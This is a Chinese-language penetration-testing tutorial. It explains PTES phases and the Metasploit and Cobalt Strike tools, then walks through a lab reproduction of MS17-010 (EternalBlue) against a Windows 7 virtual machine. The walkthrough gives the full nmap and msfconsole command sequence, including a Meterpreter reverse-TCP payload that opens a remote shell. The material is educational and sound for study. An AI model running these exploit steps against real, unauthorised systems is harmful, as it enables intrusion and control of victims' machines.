渗透测试
概述
渗透测试(Penetration Testing),就是一种通过模拟恶意攻击者的技术与方法,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响后果安全隐患的一种安全测试与评估方法。
以第三方的视角进行攻击,查看系统中是否有安全漏洞。
- POC:全称 Proof of Concept ,中文 概念验证 ,常指一段漏洞证明的代码。
- EXP:全称 Exploit ,中文 利用 ,指利用系统漏洞进行攻击的动作。
可渗透的目标
- 操作系统
- 数据库
- 应用系统 php jboss weblogic
- Web网页
- APP软件
- 微信小程序
渗透测试类型
- 黑盒测试(外部测试): 盲测
- 白盒测试(内部测试):知道业务逻辑
- 灰盒测试(组合测试):黑白结合
渗透测试过程
(渗透测试执行标准PTES)
- 前期交互阶段(Pre-EngagementInteraction)
渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动。
- 情报搜集阶段(lnformation Gathering)
在目标范围确定之后,渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。 渗透测试者可以使用的情报搜集方法包括公开来源信息查询、GoogleHacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。
- 威胁建模阶段(Threat Modeling)
在搜集到充分的情报信息之后,渗透测试团队一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行的攻击通道。
- 漏洞分析阶段(Vulnerability Analysis)
在确定出最可行的攻击通道之后,需要考虑该如何取得目标系统的访问控制权,即漏洞分析(Vulnerability Analysis)阶段。在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。
- 渗透攻击阶段(Exploitation)
渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节,在此环节中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。 渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中,渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗透目的。在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安全响应团队的警觉和发现。
- 后渗透攻击阶段(Post Exploitation)(清除痕迹)
后渗透攻击(Post Exploitation)是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。需渗透测试团队根据目标组织的务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。 在不同的渗透测试场景中,这些攻击目标与途径可能是千变万化的,而设置是否准确并目可行,也取决干团队自身的创新意识,知识范畴、实际经验和技术能力。
- 报告阶段(Reporting)
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。
渗透测试工具
-
Metasploit渗透测试框架软件(MSF)
- 渗透攻击(Exploit)
渗透攻击是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(比如 SOL注入),以及利用配置错误等。- 攻击载荷(Payload)
攻击载荷是我们期望目标系统在被渗透攻击之后去执行的代码,在Metasploit框架中可以自由地选择、传送和植入。
- Shellcode
Shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了Shellcode这一组指令之后,才会提供一个命令行shell或者 Meterpretershell。
-
meterpreter是metasploit的默认windows系统下的shell code
-
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
- 模块(Module)
一个模块是指 Metasploit框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(exploitmodule),即用于实际发起渗透攻击的软件组件,也有可能使用一个辅助模块(auxiliarvmodule),用来执行一些诸如扫描或系统查点的攻击动作。
- 监听器(Listener)
监听器是 Metasploit中用来等待入网络连接的组件。
-
CS工具
Cobalt Strike是一款以Metasploit为基础的GUI框架式渗透测试工具。是一款基于java的渗透测试神器,常被业界人称为CS,也被戏称为“线上多人运动平台”。需知道IP和密码。 Cobalt Strike集成了端口转发、扫描多横式端口Listener,Windowsexe程序生成、Windowsdll动态链接库生成,iava程序生成,office宏代码生成、socket代理、提权、钓鱼、远控木马等功能。
ms17-010(永恒之蓝)漏洞复现
工具
- nmap
- Metasploit渗透测试框架软件(MSF)
- Cobalt Strike
前期准备漏洞环境搭建
点击上方的虚拟机-设置-修改网络适配器,设置完重新启动
- kali设置为1个NET 共享
- win7设置两个,一个为NET,一个为自定义 VMnet 仅主机模式
- XP与win7在同一网段 设置1个,也为自定义 VMnet 仅主机模式
配置好后查看IP如下:
-
攻击机:kali(net): 192.168.28.129
-
靶机:
- win7(net、主机;双网卡): 192.168.28.128 ; 192.168.116.131
- Winxp(主机): 192.168.116.129
实操过程
1.情报搜集
内建扫描探测与查点辅助模块;插件机制集成调用Nmap、 Nessus、 OpenVAS等开源扫描工具
- 查看主机IP
可使用nmap查看受害者的机器是否存活,445端口是否开放
扫描命令为:
nmap -T4 -A -v ip
- -A 选项用于使用进攻性(Aggressive)方式扫描;
- -T4 指定扫描过程使用的时序(Timing),总有6个级别(0-5), 级别越高,速度越快,但也容易被防火墙发现;
- -v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描细节,从而让用户了解当前的扫描状态。
在kali中先进入root管理员模式 sudo su 输入密码,回车
输入 nmap -T4 -A -v 192.168.28.128 ,通过前期信息收集发现445端口开放,知道是Windows7系统(后面代码里有,此处没截图)
2.威胁建模
信息汇总至数据库,提供易用的数据库查询命令,针对获取的信息进行威胁建模和攻击规划。
3.漏洞分析
提供大量的协议Fuzz测试器与Web应用漏洞探测模块
对汇总的情报信息综合分析, 从漏扫结果、查点信息等,找出可实施攻击的点。
利用已知漏洞ms17-010,通过对Windows7的历史漏洞分析,我们可以利用永恒之蓝去攻击这一台系统。
4.渗透攻击
利用漏洞成功渗透到目标系统或网络,获取到权限
- 启动 MSF 终端
在kali中进入root,输入msfconsole 启动MSF终端
- 搜索漏洞
命令为: search ms17-010
其中exploit为攻击模块 auxiliary为辅助模块 ,
-
我们利用辅助扫描验证模块 来判断是否可以利用ms17-010去攻击win7
use 3 -
查看需要设置的参数
show options
可以看出这里的 RHOSTS 的Required是yes , 为必填项 , 但前面的当前设置没有东西
因此这里只需设置 RHOSTS 就行 ,set rhosts 攻击目标ip
(也可直接use 0进行攻击,也会出现提示设置payload)
- 设置攻击负载使用默认的
set payload windows/64/meterpreter/reverse_tcp - 设置攻击目标ip(win7)
set rhost 192.168.28.128 - 设置攻击者ip(kali)
set lhost 192.168.28.129
- 查看漏洞影响范围
show targets
一切准备就绪!!!
- 使用
run或者exploit,进行攻击
知识点补充
- .rhosts 文件是本地用户主目录中的一个隐藏文件,其中包含受信任的远程主机和用户的列表。 .rhosts 文件必须位于用户主目录的顶层才能访问。
.rhosts 文件通常许可 UNIX 系统的网络访问权限。.rhosts 文件列出可以访问远程计算机的计算机名及关联的登录名。- 利用找出的系统漏洞入侵系统,获取访问控制权限。为了获得对目标系统的更为深入的控制,一般要尝试获取尽可能高的权限(如:Linux系统的root用户权限、Windows系统的NT/System权限或Administrator权限)。常用工具为Metasploit。
- 获取目标系统访问权限的方式
- Windows系统:NetBIOS SMB密码猜测、窃取LM及NTLM认证散列、攻击IIS Web服务以及缓冲区溢出攻击;
- Linux系统:暴力破解、密码窃取、RPC攻击。
- 攻击的主要阶段包括预攻击探测、口令破解、权限提升和实施攻击。
- 预攻击探测主要为进一步入侵获取更多有用的信息。口令破解和权限提升可以获得系统的更高级访问权限。实施攻击过程可以使用缓冲区溢出、后门、木马及病毒等攻击手段。
- 一旦攻击者得到了目标系统的完全控制权,接下来的工作就是窃取信息或进行破坏活动,包括系统敏感文件的篡改、添加、删除及复制等。
- 如果黑客未能获取系统访问权限,那么他所能采用的攻击手段就是拒绝服务攻击,即用精心准备好的漏洞代码攻击目标系统以使目标系统资源耗尽或资源过载,从而导致无法对合法用户提供服务。
5.后渗透攻击
成功渗透攻击并获取目标远程控制程序后, Meterpreter可提供驻内存免杀能力高级后门工具,特权提升、跳板攻击与内网拓展等
- 漏洞利用后可以通过shell命令直接得到cmd会话
shell - 退出当前cmd会话
exit
让我们来查个IP~
再悄咪咪截个图~
-------------------------------------------------成功!---------------------------------------------------
6.报告生成
渗透结果存入内置数据库,可数据库查询并辅助渗透测试报告的写作
-
凝聚所有阶段获取的关键情报信息、 探测和发掘出的系统安全漏洞、成功的渗透攻击过程,同时站在防御者角度(客户机构)上分析安全体系中最薄弱的环节及修补与升级技术方案。
-
一份完整的渗透测试报告至少应包括摘要、过程描述、技术发现和结论几个部分。
参考文档: